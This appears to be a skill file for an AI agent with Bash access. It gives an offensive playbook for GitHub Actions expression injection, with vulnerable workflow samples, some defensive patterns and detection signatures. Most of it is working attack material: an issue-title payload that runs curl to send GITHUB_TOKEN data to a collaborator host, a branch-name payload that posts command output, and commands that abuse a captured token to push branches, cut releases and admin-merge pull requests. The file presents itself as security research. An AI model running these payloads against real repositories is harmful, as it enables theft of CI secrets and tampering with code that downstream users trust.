- name
- github-actions-injection
- description
- GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"execution","when_to_use":"github actions expression injection script injection pull_request_target github_token actions/checkout artifact cache action pinning sha tag","tags":"ci-cd, github-actions, expression-injection, script-injection","mitre_attack":"T1059, T1078.004, T1554"}
# GitHub Actions Expression Injection
`${{ <expr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes.
## Untrusted context — the sinks
These fields are attacker-controllable in fork PRs, issues, comments, branches:
| Context | Source | Notes |
|---|---|---|
| `github.event.issue.title` / `.body` | issue create / edit | any logged-in user |
| `github.event.pull_request.title` / `.body` | PR create / edit | any forker |
| `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\`` are valid Git branch chars |
| `github.event.comment.body` | issue/PR comment | broad reach |
| `github.event.review.body` / `.review_comment.body` | PR review | |
| `github.event.head_commit.message` / `.commits[*].message` | push / PR | newlines allowed |
| `github.event.pages[*].page_name` | `gollum` wiki | |
| `github.head_ref` | shorthand for PR head branch | same as above |
## Recon — find injection sinks
```bash
# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
<REPO>/.github/workflows/
# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color
```
## Sink pattern — the vulnerable workflow
```yaml
# VULNERABLE
on: [issues, pull_request_target]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Echo title
run: |
echo "New issue: ${{ github.event.issue.title }}" # <-- sink
```
## Exploit payload — issue title
Open an issue titled:
```
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
```
Runner expands to:
```bash
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"
```
The shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.)
## Branch-name injection
```bash
# Fork → create branch with a shell-meta name
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>
```
If any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result.
## `pull_request_target` + PR-head checkout
```yaml
# VULNERABLE
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: npm ci && npm test
```
Two attack paths on the same workflow:
1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution/SKILL.md`).
2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title / body / branch name.
## Safe pattern (defender)
```yaml
# Pass via env, never interpolate directly
- name: Echo title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"
```
`$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable.
## `GITHUB_TOKEN` permission abuse
If the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo / org default is — historically `read-all` / `write-all`. With write scope you can:
```bash
# From inside the runner — push to a release branch via the token
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x
# Create a release
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA
# Approve + merge a PR (if `contents: write` + `pull-requests: write`)
gh pr merge <N> --merge --admin
```
Always check the effective scope:
```bash
# Inside the job — see what the token can do
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
```
## Artifact / cache poisoning
`actions/cache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions/upload-artifact` followed by a deploy job that downloads + executes.
```yaml
# Smell — artifact used as build input without integrity check
- uses: actions/download-artifact@v4
with: { name: build }
- run: ./build/release.sh # <- if attacker poisoned `build`, this runs attacker code
```
## Third-party action pinning
```yaml
# Tag-pinned — silently movable by the action author or anyone who hijacks the repo
- uses: tj-actions/changed-files@v44
# SHA-pinned — immutable
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8
```
`tj-actions/changed-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.
```bash
# List every third-party action and its pin style across the org
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
| xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
| base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'
```
## Detection signatures
| Signal | Defender view |
|---|---|
| `${{ github.event.*.title \| .body \| .ref \| .message }}` in `run:` | static lint (actionlint, zizmor) |
| Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org |
| `pull_request_target` + `actions/checkout` with `head.sha`/`head.ref` | zizmor rule `dangerous-checkout` |
| Token scopes `write-all` w/ no `permissions:` block | repo / org default token policy |
| Tag-pinned third-party action | `dependabot.yml` action-update review |
## Tools
| Tool | Use |
|---|---|
| `actionlint` | First-line static check; flags 90% of expression-injection sinks |
| `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns |
| `octoscan` | Workflow scanner with PoC generation hints |
| `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs |
| `gato-x` (praetorian-inc) | End-to-end PPE / expression-injection automation |
## Decision gate
1. Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.
2. Use `interactsh` / Burp Collaborator for the beacon. Do not POST the token anywhere durable.
3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.
## References
- GitHub Security Lab — "Keeping your GitHub Actions and workflows secure"
- "Untrusted input" sink list — github.com/github/securitylab/issues
- `tj-actions/changed-files` (CVE-2025-30066) post-mortem
- Synacktiv, NCC Group, Praetorian — Actions injection writeups
Auf GitHub ansehen